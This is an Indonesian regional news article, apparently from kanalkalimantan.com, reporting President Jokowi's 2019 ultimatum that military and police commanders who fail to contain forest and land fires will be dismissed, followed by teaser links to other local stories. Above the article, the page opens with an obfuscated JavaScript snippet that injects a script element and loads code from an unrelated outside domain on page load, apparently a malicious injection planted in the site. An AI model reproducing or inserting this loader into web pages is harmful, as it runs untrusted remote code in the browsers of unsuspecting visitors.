(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Ultimatum disampaikan Presiden Joko Widodo (Jokowi) kepada para perwira TNI dan Polri. Mereka yang gagal mengatasi kebakaran hutan dan lahan (karhutla), siap-siap terancam kehilangan jabatan.
Peringatan tegas itu disampaikan Jokowi saat memberikan pengarahan dalam rapat koordinasi nasional pengendalian karhutla di Istana Negara, Jakarta, Selasa (6/8/2019). Jokowi meminta Panglima TNI dan Kapolri mencopot jajarannya yang tak bisa mengatasi karhutla. Demikian dilansir detik.com.
Jokowi awalnya bicara tentang aturan penanganan karhutla. Dia mengingatkan pangdam hingga kapolda bahwa aturan tersebut masih berlaku. “Dan aturan main kita tetap, masih sama. Saya ingatkan Pangdam, Danrem, Kapolda, Kapolres, aturan main yang saya sampaikan 2015 masih berlaku,” ujar Jokowi.
“Yang tidak bisa mengatasi dengan perintah yang sama, copot kalau tidak bisa mengatasi yang namanya kebakaran hutan dan lahan,” sambung dia.
Jokowi juga meminta TNI dan Polri membantu pemerintah daerah. Eks Gubernur DKI lalu kembali mengingatkan soal aturan penanganan karhutla. “Tolong pemda, gubernur, bupati, wali kota di-back up. Karena kerugian ekonomi besar sekali. Jadi Pak Panglima, Pak Kapolri, saya ingatkan lagi, masih berlaku aturan main kita,” jelasnya.
Jokowi meminta penanganan karhutla dilakukan sebelum api membesar. “Saya minta gubernur, pangdam, kapolda, kerja, berkolaborasi kerja sama dibantu pemerintah pusat, Panglima TNI, Kapolri, BNPB, BPBD, usahakan jangan sampai kejadian kita baru gerak. Api sekecil apa pun segera padamkan,” kata Jokowi.
Jokowi lantas menyinggung soal kunjungan kerjanya ke Malaysia dan Singapura pekan ini. Dia mengaku malu berkunjung ke sana karena karhutla berimbas buruk terhadap kedua negara tersebut.
“Saya kadang-kadang malu. Minggu ini saya mau ke Malaysia dan Singapura. Tapi saya tahu minggu kemarin sudah jadi headline, jadi HL, jerubu masuk lagi ke negara tetangga kita. Saya cek jerubu ini apa, ternyata asap (kabut),” kata Jokowi.
Dalam penanganan karhutla, Jokowi menekankan soal upaya pencegahan. Dia tak ingin kejadian seperti pada 2015 terulang. “Dibanding 2015, tahun ini memang turun (titik apinya). Tapi dibandingkan 2018 naik lagi. Ini yang tidak boleh. Harusnya tiap tahun turun, dan yang paling penting pencegahan. Jangan sampai api sudah membesar kemudian kita bingung,” jelasnya.
Selain itu, Jokowi juga menegaskan penanganan karhutla harus lebih baik setiap tahunnya. “Tetapi, kalau dibandingkan dengan 2018, tahun ini naik lagi. Ini yang tidak boleh. Harusnya tiap tahun turun, turun, turun terus. Menghilangkan total memang sulit, tetapi harus tekan turun,” tegas Jokowi. (knv/idh)
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
This website uses cookies.